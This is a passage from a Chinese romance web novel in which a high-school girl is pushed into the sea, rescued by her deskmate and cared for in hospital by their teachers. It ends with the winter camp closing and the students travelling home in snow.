王子蘩的声音轻飘飘的,视线像是落在眼前那片黑色的海,又像是海中奋力挣扎的学姐身上。他定定看了几秒钟,像是很快觉得无趣一样,转身离开了现场。
他溜得太快,应琮根本来不及骂他,也没有多的心思去骂他。
情况现在有些尴尬,她会游泳,但海水也没有深到能够淹死自己。可落水的位置很不友好,应琮的肩胛骨刚好卡在两块巨大的礁石中,令她无法找到借力点,自己从夹缝里爬起来。
更糟糕的是,因为应琮出门时,担心会冷,身上穿了件羽绒外套。在刚刚巨大的冲击力和重力的双重作用下,羽绒服迅速吸饱了海水,此时又重又沉,她感觉自己像背了一个压得人喘不过气的龟壳。
想要脱下来,可手臂也被礁石卡着,难以伸到身前。
伴随着风,浪花一阵一阵、颇有节奏地打在她的胸前,周围泛起一圈圈细密的白色泡沫。海水冰冷,再加上自己整个人都几乎被泡在水里,露在外面的身体又不停被风吹着。
应琮咬紧牙,努力地一点点扭动自己的身体,同时近乎粗暴地想要将衣服磨破,这样也许可以脱下来。
这样的天气,又是人迹罕至的晚上,一旦自己脱力昏过去,就完蛋了。
周围听不到什么人路过,估计叫破喉咙也没用。刚开始应琮还努力喊了几声,不仅无人回应,反而嗓子吃了很多风变得有些哑了,于是她决定把所有的力气都省下来自救。
她又自顾自努力挣扎了好一会儿,才勉强将左小臂从被压折的状态救出来。
还差一点点,就能够到羽绒服的拉链了。
她抿紧双唇,努力伸长自己的每一根手指,连脖颈都紧绷着勾了起来。
或许是因为自己现在躺在海水里,以天为被,海潮声比急促的心跳声还要响亮,几乎占满了应琮的双耳。
“应琮,应琮——”
拉链才勉强拉到胸前一半的位置,她冷不丁地听到遥遥传来一声呼唤。
自己该不是因为体温太低,导致精神恍惚吧。
还是王子蘩良心发现,重新回来了?
又仔细侧耳去听,耳边还是只有阵阵风声和浪声。
错觉吗?
努力了这么久,拉链也被拉到无法再往下拉的位置,人还是没办法挣脱两边的礁石,也脱不掉身上的衣服。
应琮有些泄力,整个脑袋重新往后倒下。
动作一停下来大脑就忍不住活跃,她反省道,今天是她太自满了,没想到王子蘩这样看似怯弱的人也会狗急跳墙,直接从学术小偷演变为刑事犯人。
只是口袋里的手机还开着录音,裴少言的U盘也在里面。被海水这么一泡,恐怕也要坏了。
她仰头看天,浑身无力后,心里忽然平静如水。
夜晚的天空和海水没什么两样,都是晕开的墨色,看不到什么光亮。
真可惜,今天看不到月亮。
“应琮!”
迷迷糊糊中,那道声音又响起来了,似乎由远及近,越来越清楚。
借助水这一介质,声波迅速传播,几乎贴着应琮的耳朵
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在喊,轰隆隆的,像春雷。
真的有人在找她。
应琮愣愣两秒钟。
“我在这里!”
不知哪来的力气,她用尽自己最大的声音喊道。
盛逸远远就看见有一块明白色的东西,在靠岸边不远处的海里,只是一直看不真切究竟是什么东西。
现在听到了应琮的声音,他连脚下的路也顾不得看,深一脚浅一脚、磕磕绊绊地就冲了过来。
视野昏暗,他原本想托着应琮的上半身帮助其站起来,却发现手上的力气不对。
“你被卡住了是吗?”
应琮点点头,刚刚的叫喊花费了她太多的力气,脑袋中此时像是弥漫着雾气,她用下巴示意盛逸拉开自己外套上的拉链。
盛逸心领神会,立马拉开拉链,应琮扶着他的大臂,勉强恢复了点力气。顾不得礁石的磨砺,她用力扭扭自己的肩膀。
旋即,整个人就软软地倒在他的怀里。
“应琮!”
盛逸赶紧托住她,手上冰凉的触感让他心脏几乎停跳。
也不知道她在海水里被泡了多久。
“我这就带你去医院!”
心急如焚的盛逸想不了那么多,将怀里的人直接打横抱了起来,抬脚就要往岸边光亮的地方猛冲。
“我还没那么快死。”
听声音,感觉盛逸抖得比她还厉害,应琮赶紧抬手轻轻扯了扯他的衣领。
“我只是叫破喉咙了,不过还好有人来救。”她想要笑一下,只是碍于脸色惨白,安慰效果不佳。
“都惨成这样了还有心思开玩笑。”看她这样,盛逸难受死了,把自己身上的外套脱下来包住她。
外套还带着他身上的体温,对于应琮而言,格外温暖。
她刚刚肾上腺素分泌过多,现在脑子里胡思乱想很活跃。她又想到了以前春节在奶奶家里,壁炉噼里啪啦炸开火花的瞬间,好像就和这个炽热的怀抱差不多。
“等下死了怎么办?”盛逸往上托了托她,又用力吸了吸鼻子,“你搂紧我一点,取取暖。”
应琮也没那么多力气继续和他斗嘴,闻言便顺从地往里缩了缩,搂紧了他的脖颈。
盛逸暗暗挺了挺自己的胸膛,这一刻觉得一直张牙舞爪的同桌乖惨了。
“你还有力气吗,”走到平坦的沙滩上后,他反应过来,“我口袋里有手机,咱们打个120。”
靠近光亮后才能发现,应琮的脸苍白到没有血色,再加上湿淋淋的长发和浅色的眼眸,看得令人胆颤,他刚刚没仔细检查,也不清楚她身上有没有什么伤口。
“手机?”
原本怀里还有气无力的应琮忽然一惊。
“我的手机还在羽绒服的口袋里!”
而羽绒服还被泡在海里!
“哎哎哎,”见她忽然激动起来,盛逸赶紧腾出一只手安抚,“你的羽绒服在我左胳膊下面夹着呢。”
闻言,应琮安心了,不再挣扎着要下地。
“……”
“……”
走了一会,盛逸还是忍不住好奇:“里面到底有啥重要的东西?”
值得她大晚上抛下朋友和美食,独身一人跑到海边,还搞得这样可怜。
应琮却不答,扭脸狠狠打了个喷嚏。
120并不是必须的,她要打110!
78. 第 78 章
应琮搂住盛逸的脖子,这家伙虽然称不上漫画级别的双开门身材,但怀抱却意外的很稳当,可能是脱了外套之后略显单薄的缘故,她甚至可以察觉到对方紧绷的肌肉。
哪怕怀里抱着一个人,依然不影响盛逸疾走的速度,心跳声听着也很沉稳有力。应琮心想,怪不得应女士第一次见他,就猜测他练过什么体育特长。
两个人很快来到宽敞明亮的大路边。
刚好路边有长椅,盛逸小心翼翼地把应琮放到椅子上,然后站在她的旁边,严严实实地挡住夜风。
“那个……”
“你……”
两个人几乎同时出声,盛逸停住了,眼神示意她先讲。
应琮拉拉他的衣袖,仰着脸,蹙眉道:“你穿太少了,坐下来。”
她的想法很简单,与其对方站着充当雕像纯吃风,两个人靠着至少还能取暖。
盛逸却不答,顺着她仰头的动作,扶起她下颌,蹙眉端详。
虽然他手指是凉的,但应琮觉得被他摸到的皮肤隐隐有些发烫,她难得有些无措,率先转移开眼神:“干什么?”
“刚刚太黑没看见,你脸上也擦伤了。我叫个救护车来吧。”
盛逸用拇指轻轻蹭掉她伤口附近的泥沙,眉头再一次拧起。
他心情有些复杂,一方面是怜惜她无端受伤,另一方面又懊恼自己怎么不早点把人找到,不,一开始就不应该让她落水。
“我还没那么虚弱,直接打车去个最近的医院好了。”
盛逸眼里的情绪有些深奥,应琮不欲细究,轻轻拂开他的手,解释道。
离开冰冷的海水后,她能够感受到自己的体温正在逐渐恢复,意识也还算清楚。
他们刚才吃饭的餐厅就在不远处,真要叫了救护车来,大晚上的,恐怕有不少人都会觉得是发生了什么事故,闹得人心惶惶。
“车还有三分钟到。”
盛逸最终还是选择顺着她,拿着手机两三下操作好。
说罢,见她的头发依然不断地往下滴水,他便伸手自然地绕到应琮的脖颈后,搂过所有的头发,轻轻地挤干水分。
从这个角度,应琮能看到他垂眸时浓密的睫毛,神情温柔又专注,整个人看起来似乎和平时不一样。
她的心忽然有些湿湿的,好像原本平坦的沙地,没有征兆地陷下去了一块。
头顶的云不知什么时候已经散去,夜空变得高远明亮起来。
叫的车已经等在路口,盛逸一把将应琮再次抱起来,往外走去。
“这是……”
站在餐厅外的裴少言看着这一幕,瞬间捏着手机的指骨发青。
从这个角度看去,应琮正亲密地搂着盛逸的脖颈,两个人同时上了一辆车的后座。
和刚才相比,他们衣衫凌乱,甚至浑身湿淋淋的。
“你在说什么?没有仔细听我刚才说的话吗?”
电话那头的裴名问道,语气瞬间变得尖锐。
“没什么。”
裴少言重新恢复平淡的语气,双眼闭上,但却控制不住回想刚刚那一瞬间。
刚才只是无意中的匆匆一瞥,可他确信盛逸看到了自己。
对方的眼神……
对视一眼后,盛逸便迅速地移开了自己的视线,甚至没有想要炫耀、挑衅的成分。
可这比炫耀还要令人难受。
他抱着应琮,甚至另一只手还有余力拿着她的外衣,而应琮居然也表现得十分自然。
两个人之间形成的氛围,足以隔绝开周遭的所有事物,就好像他们本来就应该如此。
发生了什么?
在他离开餐桌,应琮二人消失的一个多小时里,究竟发生了什么?
“……总之,这次竞赛你做得很好,”裴名道,“明天也不用参加结营仪式了,我会亲自来接你。”
语气里充满了理所应当的洋洋得意。
做得好?
裴少言掐断电话,自嘲地弯起嘴角。
就像是在称赞一条狗。
可笑的是,裴名厌恶狗,说自己永远不会接受养一个没有骨气的动物在家里,为此他甚至将自己小时候捡到的小狗处理得一干二净。
可现在,裴名却像在报复当年自己入赘的屈辱一样,把儿子当成狗一样驯养。
裴少言滑动手机,在通讯录的置顶名字停留,面色沉沉。
*
到了医院,盛逸整个人几乎要变成陀螺,恨不能长出三头六臂。
挂上急诊号后,应琮被护士们带着去看诊。
盛逸坐在门口的椅子上,一边回复时满关心的信息,一边思考怎么向学校请假夜不归宿。
冬令营的管理制度向特殊时期之后的大学校园管理制度看齐,不允许学生无缘无故地晚归、外宿,有任何特殊情况都要找老师上报。
等他俩在医院忙完打车回去,保不齐要踩着晚归的高压红线,搞不好还要被批评。反正都要挨骂,倒不如直接夜不归宿好了,应琮说不定还有什么看不见的伤势,最好还是住院修养。
可要是告诉了老师们……盛逸扶额,应琮做出这么危险的事情,肯定要被狠狠地教育。
还在反复纠结中,忽然听到有人在唤自己。
“盛逸,”应琮从看诊室里露出一张小脸,“医生说你也进来一起听。”
因为医院里开了暖气,将原本湿透了的衣服都换下来后,她原本苍白的脸色在浅粉色病号服的映衬下,恢复了几分血色。
盛逸赶紧往里进,乖巧地搬了张凳子,也坐在医生面前。
“……因为她毕竟在水里泡了那么久,虽然现在还没有什么明显的受寒症状,”医生飞快地打着病历单,苦口婆心,“但我建议还是要留院观察一晚,看看半夜会不会突然高烧。”
“好,好。”
盛逸和应琮点头如小鸡啄米,谨遵医嘱。
“需要打针吗?”
应琮小心翼翼地抬头,去看医生的眼色。
“嗯……”医生停下打字的手,和蔼地笑笑,“如果今晚会发烧的话,就要马上打吊针。如果观察一晚没什么事的话,回去吃点药就行。”
不是必需就好,应琮松下一口气。
她的血管又细又浅,没比针头粗多少,每次打针总要受一番折磨。
见他们二人乖巧,医生又忍不住唠唠叨叨多叮嘱了几句,再三强调不要在没做好安全措施的情况下,跑去危险的水域玩。
“现在天那么冷,远远看看海就行了,怎么还把自己给弄到海里去了。尤其是女孩,最要照顾好自己,不要受寒。”
她嗔怪着,将手中打印好的病历单和药单递过去。
应琮接过东西,连声诺诺。
掉
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海也是非主观意愿所为。
“医生,”盛逸凑了过去,脸上有些紧张,“她以后不会痛经加重吧?”
“盛逸!”
应琮一惊,赶紧用表单去捂他的嘴。
就算他救了自己,但是这么大大咧咧询问她的痛经做什么?本来刚刚医生误会他俩的关系已经够尴尬了。
这个盛逸一张嘴就是火上浇油!
“不好说,”医生笑笑,“痛经要看个人体质,而且因为现在你们的身体发育还未完全成熟。如果她以前会痛的话,那么可能这段时间会痛得强烈一些。”
“那能不能提前开点止痛药,预防一下?”盛逸认真地和医生商量。
接着,两个人就冬季女性生理期的照顾与保养,又深入交谈起来。
不用照镜子应琮都能感受到,自己的脸从内往外散发出的热量,堪比一台蒸汽机。
医生讲就算了,还对她频频投来似笑非笑的目光,好似在说:还狡辩,普通同学怎么还能了解这么清楚。
“……都要看个人体质,”医生聊着聊着又问,“你确定她就是易痛经体质吗?”
终于有人想到,房间里还有她的存在了。
应琮往两边扯了扯唇角。
“当然,”盛逸无比自信地开口,“不是说手冷的女生,就容易痛经吗?”
“你怎么知道我手冷?”
应琮奇了,反问道。
除了今晚,她可不记得自己还有和盛逸有过什么肢体接触。
“……反正就是知道。”盛逸哼哼了两声,脸诡异地泛红。
目睹一切的医生没忍住,哈哈笑了出来。
最后还是在盛逸的要求下,加上了一盒止痛药和一盒益母草颗粒。
*
“对了……我们要告诉老师吗?”
拿完药后,两个人站在走廊上等电梯,盛逸想起来刚才自己纠结的事情还没有结果,问道。
如果告诉老师,就相当于让这个可怜兮兮的病号多了几个批评唠叨的老妈子。
“坦白说吧。”应琮垂眸看向地板的反光,冒出一句哲理名言,“一个谎言要用无数的谎言来圆。”
只是王子蘩的事情……情况紧急,她还没来得及确认手机进水后的状态。
不知道录音里能够录到的东西,够不够支撑起对方谋杀自己未遂的事实?
“行。”盛逸听懂了她的意思,点点头,“那我来说,你安心休息。”
少年高大又不显压迫的身影,斜斜倒映在电梯内壁上,他正认真地编辑着要发给老师们的信息。
应琮靠在电梯里,静静地看着他。
“为什么一直看着我?”
发完信息后,注意到她的目光,盛逸不好意思地摸了摸自己的鼻子。
电梯平稳地停在他们要去的楼层,门缓缓打开。
“没什么,”应琮轻轻一笑,往外走去,“只是感觉,好像今天才真正认识你。”
“什么?”
盛逸故意瞪大眼睛,亦步亦趋地跟在她的身后,开玩笑道,“我可是早就认识你了。”
应琮耸了耸肩,什么也没说。
虽然对方一直以来都吊儿郎当没个正形,但关键时刻,好像总是很靠得住。
今晚,她的脑海中不止一次地出现一个念头。
太好了,是盛逸陪着自己。
79. 第 79 章
好在正逢多事之秋,两位老师都如夜鹰般警觉,时刻留意手机信息。
因此盛逸的消息刚发出没多久,两个人便快马加鞭赶到医院。
“应琮!”
毕竟是在医院,许文言尽量克制住自己的音量,推门进入病房。
天晓得,知道应琮不小心掉到了海里,她的腿都软了。
“快让我看看。”
她飞扑到应琮的床边坐下,仔仔细细地从头摸到脚,眼里是止不住的紧张和心疼。
许明背着个双肩包,手上提着鼓鼓囊囊的两袋东西,嘴里呼出的白气模糊了眼镜。
人生地不熟,两个学生大晚上在医院相依为命已经显得异常,现在又突然出现两个成年人,一时间病房里的其他人明里暗里都投来好奇的目光。
若论年纪,这两人作少女的父母太小,听称呼又不像是手足。
“老师,我没什么事。”
应琮被她搂在怀里,声音透过衣服传出来,闷闷的。
她不是很习惯被家人以外的任何人这么亲密地搂着。
“怎么可能会没事,”许文言坐直,缓了缓情绪,装出一副严厉的模样,“你以为这是小事吗?现在可是冬天!用冷水洗手都要被冻得一激灵,你可是整个人被海水泡了这么久!”
“……没有整个人,就只有后面半截身子。”
应琮弱弱地纠正,同时下意识朝一旁的盛逸投去求助的目光。
“老师,”盛逸适时地插入对话,“你们怎么两个都来了,还拿了这么多东西?”
他明明只是简单汇报了今晚的情况,主诉求是让老师们帮忙向学校请假,晚上他们两个就不回宿舍了。
毕竟大晚上的,医院没人留守,万一又出事了可咋整?
“自己的学生出了意外,正躺在医院里,你让我们做老师的怎么安心睡觉?”
出门在外,他们履行的就是监护人的职责。
许文言瞪他一眼,顺便吩咐他去把许明手上的袋子接过来。
看到袋子里鼓鼓囊囊的尽是衣服,应琮的眼眸睁大了些。
“事出紧急,所以也来不及让你们的舍友找衣服,”许文言拿出一件和自己身上差不多的长款羽绒外套,抖了抖,“这些是我和许老师的衣服,明天出院的时候穿上。”
说罢,注意到什么,她伸手摸了摸盛逸的肩膀,顿时柳眉倒竖,变摸为打。
“你的衣服都湿了,为什么不脱掉?”
虽然病房内开着热烘烘的暖气,但明显盛逸的衣服原本湿透了,吹了这么久,摸起来竟然还带着水气,潮潮的。
“呃……没有其他的衣服。”
盛逸结结实实挨了一掌,委委屈屈地解释。
应琮办理了住院,顺便换了病号服。自己是来照顾她的,要是也穿个病号服,别人看起来像是两个苦孩子同病相怜。
“换上我的衣服吧。”许明走过来,笑笑。
“你俩顺便去楼下看看,买点生活用品上来。”
许文言一边把双肩包里的东西一样样拿出来,一边安排道。
“好嘞。”
两个人答应着,提着一袋衣服离开了病房。
“应琮你先躺着休息一下,我先去给保温杯里倒点热水。”
许文言拿起杯子,走了几步又重新折返回来,伸手摸摸她的额头,又反过来摸摸自己的。
“觉不觉得头晕脑胀?需不需要我叫护士来给你量量体温?”她轻声问。
脱离了教室这个空间,此时的许文言比起高高在上的老师,更像是一个温柔成熟的姐姐,能够把一切事情安排得井井有条,令人感到无比安心。
应琮莫名有些眼眶发热,想要说话又觉喉头哽塞。
她还没来得及把发生的所有事情告诉妈妈。
“就这么说好了,”许文言理了理她的头发,摆摆手出门,“我去叫护士。”
出门前还叮嘱她一定要多喝水,室内开暖气导致空气干燥得要命,南方长大的孩子容易流鼻血。
应琮乖乖把一杯水喝完了,然后躺在床上,手臂盖过眼睛。
待在医院一段时间,自己已经适应了消毒水的味道,可鼻尖现在萦绕着的,是一股清雅的花香。
许老师身上的味道。
*
护士量完体温,又叮嘱了几句后便离开了病房。
一行三人并排坐在应琮的床前,怕打扰其他病友,声音放得很轻。
“已经很晚了,”许文言举起手机,屏幕上的时间露了出来,“盛逸你再不回去,就赶不上门禁了。”
“老许、哦不是,我亲爱的许老师……”
盛逸双手合十,许明的长袖穿在他的身上显得有些小了,肩膀处绷得紧紧的。
许明作为一个身娇体弱的成年男人,忍不住感慨:这代孩子果然都吃激素长大的。
“您难道没有给我也顺便请一个离校外宿的假吗?”
盛逸纵然一米八几,但能伸能屈,为了给心爱的同桌陪床,对班主任语气讨好点也无妨。
“当然没有,”许文言瞥他一眼,似乎是看穿了他的想法,“既然老师们都已经来了,你就可以回去了。”
当学生的时候怕老师发现自己早恋,当老师的时候怕学生早恋演都不演,她都打算睁一只眼闭一只眼了,对方竟然还在这里心存侥幸。
“老师别这样……您不是教育我们说要发扬同学之间的友爱精神吗,您不给机会我怎么发扬呢。”
盛逸作请求状的手并没有放下来,连敬词都用上了,配上刻意压低的声音,显得可怜又搞笑。
造孽。
许明坐在最外侧,他一会儿抬头看天,一会儿低头望地,想笑不敢笑。
反正自己只是一个科任老师,学生之间早恋不早恋的,他是觉得没所谓。
为此许明还大着胆子火上浇油:“我觉得俩同龄人能做个伴也挺好。”
许文言当班主任已经够烦了,闻言简直想给自己当场改名,取名许瞎许聋许不明,这样就能坦然两只眼睛全闭上!
“许老师,让他留下来吧。”
应琮开口了,声音一如既往地平静,仿佛不是在替某人求情。
“可是……”
许文言的眉心纠结成一团,许明给她添乱也不是一天两天了,但她没想到应琮也……
“为了救我,他的身上也湿了。”应琮认真地看向她,有理有据地说服,“晚上留在医院,万一发烧了也方便问医生。”
“是啊是啊。”
盛逸立马附和,顺势看了过去。
床头的夜灯在身后不远处散发着莹莹的光芒,应琮披散在肩头的每一根发丝都闪闪
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动人,光洁的侧脸也蒙上一层辉光。
“那盛逸还是留下吧。”
许文言还是妥协了,但心里与此同时也暗自打起鼓来。
是自己疏忽了吗?以前为什么没有注意到这对同桌之间形成了一种莫名的场域。
原本以为这两人成天欢喜冤家互相比较的,还可以互相激励共同进步。
但现在一看,氛围完全变了啊。
也不是她刚刚以为的盛逸单向暗恋那么简单,不过看应琮清澈的眼神,两个人也还没有结成情侣。那种感觉……更像是对彼此之间的一种信赖和默契。
真是难办啊……
毕竟教导主任曾经说过,棒打鸳鸯也要师出有名、手握铁证。证据都没有,敢做不敢当的孩子们只会死鸭子嘴硬。
许文言又瞥了一眼盛逸,那小子眉眼间满是掩饰不掉的欣喜。
一副不值钱的样子。
算了,她不是那种搞强拆的班主任,这俩也不是那种典型高中痴痴缠缠的爱侣。
“说起来……”许文言轻咳一声,“应琮你为什么会掉到水里?”
“该不会是为情所困吧?”
她面上半开玩笑,半是认真。心说求求你求求你千万别。
“不是。”
应琮把枕头下因为进水而黑屏的手机和裴少言的U盘拿了出来,表情严肃。
“是王子蘩趁我不备,故意推我入海。”
虽然她的声音很轻,两人却陡然脸色一变,紧张起来。
盛逸只听她说了今晚去见王子蘩,却没料到她还是被那歹人给故意推下水的,忍不住爆了一声:“靠!”
“要报警吗?”
应琮看向自己的两位老师,想要寻求他们的意见。
毕竟,她也不确定手机里的录音还能不能打开。缺少了证据,只凭自己的一面之词,恐怕无法将王子蘩真正绳之以法。
“当然要!我一定要送他进去,好好改造改造。”盛逸有些不淡定。
如果不是因为他及时追了出去并听到了应琮的呼救,还不知道事情演变成怎样的结果。
他有些冲动的发言惹来许文言的白眼:“你是警察还是法官,你说进去就进去啊?”
盛逸不服:“我是公民,我相信警察和法官会做出正义的裁决。”
“不过……”一直默默无言的许明,犹犹豫豫地插嘴,“听说王子蘩今天已经离开冬令营了。他被取消了竞赛成绩,似乎连学员的身份也被取消。”
他们极力抹去王子蘩曾经来过的证明,划清自己和他的界限。
现在又出了落水的事情,冬令营的老师们,恐怕不愿意再趟这潭浑水。
“他这么早离开,必然是心里有鬼。”盛逸道,“直接把他抓了,好好审问。”
“不行,”许文言打断他,“这件事要从长计议。”
王子蘩不是一般人,现在他们都还没有回到江城,认识的人也有限。
更何况王子蘩既然敢对应琮下手第一次,难保到时怀恨在心,再次对她下手。
“这件事牵扯了太多,等你完全恢复健康之后,我们再来讨论。”
许文言爱怜地摸了摸应琮的头,向她承诺。
“放宽心,老师们一定会帮你讨回公道。”
应琮点点头,将手机和U盘都放到她的手中。
80. 第 80 章
冬天的海水温度不是闹着玩的,何况是夜晚,即使是T0级别的冬泳大爷也一般不会选择在那个时间入水。
但论起身体素质,在大爷之上仍有身强体壮的高中生。
自小两个体育兴趣班同时抓的应琮,身体素质当然还可以,在医院住了一夜后也没有出现发烧的症状。
“我已经叫好车了。”
许明昨晚虽然没有留下来守夜,却很给力地一大早就赶了过来,并把自己提着的一大袋早餐递给应琮他们。
买的种类繁多,也很符合南方学生们的口味,若不是现在在外地,他估计会把早茶桌上应该出现的经典点心通通打包过来。
“我们等下直接去报告厅参加结营仪式。”
“这么快?”盛逸坐在旁边,嘴里已经开始嚼着糯米鸡,勉强咽下之后才道,“我还以为会先回宿舍放东西。”
“时间不够,”他们都在吃早餐,许明赶忙收拾病房里的东西,从数学精英老师,转变成一副老管家的模样,“别忘了你们两个还要上台领奖呢。”
“就是就是。”真正的老管家是班主任许文言,她三下五除二吃完手上的肠仔包,利索地将塑料袋丢进垃圾桶,“今天的行程可是很紧凑的。”
上午开完结营仪式,他们各回各的宿舍收拾东西,待简单地在基地吃过最后一餐后,马上就要启程回江城。
她和许明还得趁热打铁,把这段冬令营的经历和收获给写出来。今早学校宣传中心的主任就发来亲切的“问候”,提醒他们一中这次的竞赛成绩如此出众,记得制作篇推文好好宣传宣传,方便给未来的招生造势。
“唉,”盛逸重重地叹了口气,表情惆怅,“两周了,可惜没怎么好好地在这座城市玩一下。”
“‘去的尽管去了,来的尽管来着,去来的中间,又怎样地匆匆呢?’”
教菲菲小朋友预习过的课文,眼下居然如此应景。
再回首恍然如梦,冬令营就这么落幕了,属于他们的寒假才刚刚开始。
自己还能再见到应琮吗?
她不会以后就不到学校来了吧?
说动亲妈搬家的可能性有多大?
……
“别拽酸词了,”许文言打断他的近水楼台幻想,旋风般往他的膝上丢来一件衣服,“赶紧起来,把外套给穿上。”
盛逸:“切。“
还高中老师呢,怪没文化的,酸词署名朱自清。这明明是他触景生情,油然而生的感悟好吗?
不过话虽如此,盛逸自然识相。班主任再缺乏基础语文知识又如何?自己还要在她手底下待至少一学期,岂敢造次?
唉!可惜以后在学校上课他就没有同桌了,孤家寡人,拥两张课桌,享无边孤单。
“咦?”身上的衣服十分熟悉,盛逸眨眨眼睛,“我的衣服?”
“嗯,”许文言道,“你穿许明的衣服不是有点小吗,所以昨晚我让他回去的时候,顺便把你的衣服送去干洗了。”
说完,她又转头看看应琮,似乎是抱歉一笑。
“但是羽绒服不太容易干,所以应琮还得穿老师我的衣服。”
“没关系。”
应琮已经利落地收拾好了自己的东西,穿上许文言昨晚带来的羽绒服。
两个人站在一起,背影看上去倒真有几分相似。
“还有这个,”许明从袋子里掏出来一顶崭新的、毛茸茸的白色帽子,递过去,“护士昨天说你昨晚寒气入体,虽然暂时没发热,但也不能掉以轻心,尤其得好好保护头部。”
刚才买早餐的时候,他特意绕路买了顶看起来就很保暖的帽子。
话虽如此,应琮低头看看自己手上远远比脑袋大的帽子,迟迟没有动作。
这颜色……这款式……
感觉自己戴上可以直接cos北极熊。
“好了,快把衣服拉链拉好,戴上帽子。”许文言催促道,“盛逸跟着许老师去办出院手续,我和应琮在门口等你们。”
“为什么是我和许老师?”
盛逸不满,他更想陪在应琮身边呆着。
“因为男女有别!”
许文言威胁性地瞪他一眼,充分发挥出自己身为班主任的魄力。
“……好吧,我去就是了。”
临走时,盛逸不经意般掀起眼皮,扭头去看应琮,意外发现她的脸上有几分笑意,不由得也勾起唇角。
*
即使荣获奖项,但冗长的结营仪式依旧难熬,好不容易结束了,重新提着和来时一样的行李站在校门口,应琮忽然回想起早上盛逸朗诵的句子。
匆匆的,自己为之努力了这么久的东西,就这样安静结束了。
“有点不舍吗?”
时满一见到她就上下前后左捏捏右掐掐检查过了,发现她的确没事才松了口气,但还是格外留意她的状态。
应琮摇摇头,没让好朋友担心:“只是觉得时间过得太快。”
“那很好啊,”时满抬手帮她整理好帽子,“只有痛苦的时候,才会觉得时间过得很慢。”
因为她的话,应琮愣怔了一瞬间。
“我们几个人上车吧,少言提前跟家长回去了。”
许文言的声音从身后传来。
家长……
应琮的脑海里浮现出裴名的身影。
可惜了,自己还没来得及把裴少言的U盘还给他。
即使过程中出现了王子蘩这一插曲,裴少言也还是顺利拿到了金牌。想来他的父亲应该很高兴吧,高兴得都提前接他回去。
“哔哔——”
眼前停着一辆大巴。
又是来时从高铁站接他们过来的车,甚至连颜色都没有变化,只不过除了他们,还有其他学校的师生一起。
趁着人多,盛逸眼疾手快,抢先在应琮身边坐下。
时满看破不说破,她退了一步,坐到二人的斜后面,恰好能观察到他们的一举一动。
她有预感,这两人那天晚上一定发生过什么。
“这小子……”
许文言不过是和张主任在下面客套一会儿,上来就看到盛逸又黏上了应琮,不由得咬牙。
“算了吧,”许明靠在椅背上,笑眯眯地宽慰她,“早恋就像咳嗽……”
“你记错了吧,”许文言坐下来,白他一眼,“原句是‘Loveandacoughcannotbehid’。”爱情和咳嗽一样藏不住。
“我要说的不是这个,”许明摆摆手,“我的意思是,早恋就像咳嗽一样,有急性和慢性,有短期和长期。”
“……滚。”
许文言放弃和他说话,想要去看应琮,却发现他们所处的位置视角刚好被卡,无论怎么偏头去看,都会被前面人的座椅挡住。
甚至还和后面来自其他学校的学生尴尬地对视了好几眼,在她的目光下,肉眼可见的,对方的坐姿都变得端庄
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许多。
“别操心了。”许明云淡风轻地闭上眼,看起来是准备休息,“现在可不是在学校,俩小孩又没做什么出格的行为,你就睁一只眼闭一只眼算了。”
许文言默然,也学着他的样子靠在椅子上。
算了,算了。
和老师们的氛围不同,盛逸和应琮的注意力全在车窗外。
和早上明媚的晴空不同,才吃过午饭,就和傍晚一样昏暗。浅灰色的云层黑压压地重叠在一起,天空和云的界限十分模糊。
“天这么暗,会不会是要下雨啊?”
应琮的眉头为难地皱起,“我的伞都放到箱子里了。”
“怕什么,”盛逸道,“你都有帽子了。”
应琮没吭声,她的手机坏了还没来得及修,也没办法看天气预报。
“等等,”盛逸注意到什么,凑近了些,“好像下雪了。”
“真的下雪了!”他惊喜道。
几片细小的灰白色物质径直向车窗飞来,很快便飞得密集起来,像是信手撕碎的纸片一样洋洋洒洒。
“你第一次看见雪?”
应琮往后靠了靠,方便他看车窗外的雪景。
“当然。”盛逸说罢,扭脸看她,“难道你不是?”
江城的冬天是不下雪的,有的只是刺骨湿冷的冰雨,稀稀拉拉绵延不绝地下好几周。
“我以前在奶奶家,看见过雪。”应琮老老实实道。
奶奶家在F国的高原地带,十一月初就能迎来初雪,有时甚至还会出现像暴风雪级别的恶劣天气。
小的时候,李正心生意还没有做这么大,父母感情好,陪伴也多,他们一家会在F国度过假期。
“真好,”盛逸触景生情,颇为感慨,“这是我人生中的第一场雪呢。”
初雪,听起来就很美好。
而自己身边的人,又恰好是应琮,他觉得老天都在为他俩纯洁的初恋助阵。
他刻意忽略了车上除了他们之外的也为下雪天大呼小叫的所有人,也忽略了这场并不和影视剧中描写的那般洁白唯美的雪。
“你想要摸摸雪吗?我可以把窗户打开一点。”
看着他的样子,应琮莫名想到在奶奶家见过的一只小狗,它见到雪的时候,也是这样眼睛亮亮的,伏在她脚边,想要她带着出去玩儿。
“唔……还是算了。”盛逸思考了几秒后,很快摇头,“万一你吹到风,头疼发烧了就不好了。”
“我有帽子啊。”应琮道,“而且,我的身体没那么差。”她觉得身边人太夸张了,但是心里也忍不住有点感动。
“……不愿意你冒这个险。”
他的声音很小,但应琮还是听清楚了。
她下意识地抬头去看,恰好撞进对方如星光璀璨的眼眸。
他的眼神烫得吓人。
应琮的脸很快变得比盛逸还要红,她赶紧将自己隐藏在帽子下,不敢去看坐在旁边的人。
盛逸咳嗽一声,也坐正了没看她。
倒是后排的时满露出满足而幸福的笑容。
哎呀,不小心嗑到了。
“同学,”隔壁坐着的人好奇地问,“你在笑什么?”
“我呀……”时满抿唇一笑,“我在笑,大巴上的窗户其实是密闭的。”
“这有什么好笑的?”
隔壁的人转头看看自己旁边的车窗,更是摸不着头脑。
“是你不懂。”
81. 第 81 章
今天是应琮冬令营结束回到家的日子,应雨柔特意把家和店里都好好收拾了一番,原本空着的瓶子里都插满了鲜花。好在现在距离过年也没剩几天时间,店里的生意平平淡淡,不至于像过去一样忙得脚不沾地。
“美芳姐,”不是饭点,街上此时门可罗雀,应雨柔拿着车钥匙准备出门,“我去车站接小琮啦。”
“好,”美芳笑笑,“店里你放心吧,我一个人能应付。”
从店里开车过去大概四十分钟的路程,应雨柔再一次地翻开和女儿聊天的界面。
或许是因为高铁上信号不稳定,自己发过去的信息,前天应琮挑着回复了几句重要的话后,对话框就不再有新的消息出现。
想到女儿,应雨柔的神情变得柔和而欣慰。
前天刚刚通了电话,她得知应琮这次竞赛拿到了银牌,还能够被保送进入江城大学数学系,高兴得不得了。
但挂了电话之后,应雨柔在心底反复回味,宝贝女儿拿到这个结果虽然喜闻乐见,但她回忆起在备考的过程中应琮付出的时间和精力,最深的感受还是心疼。
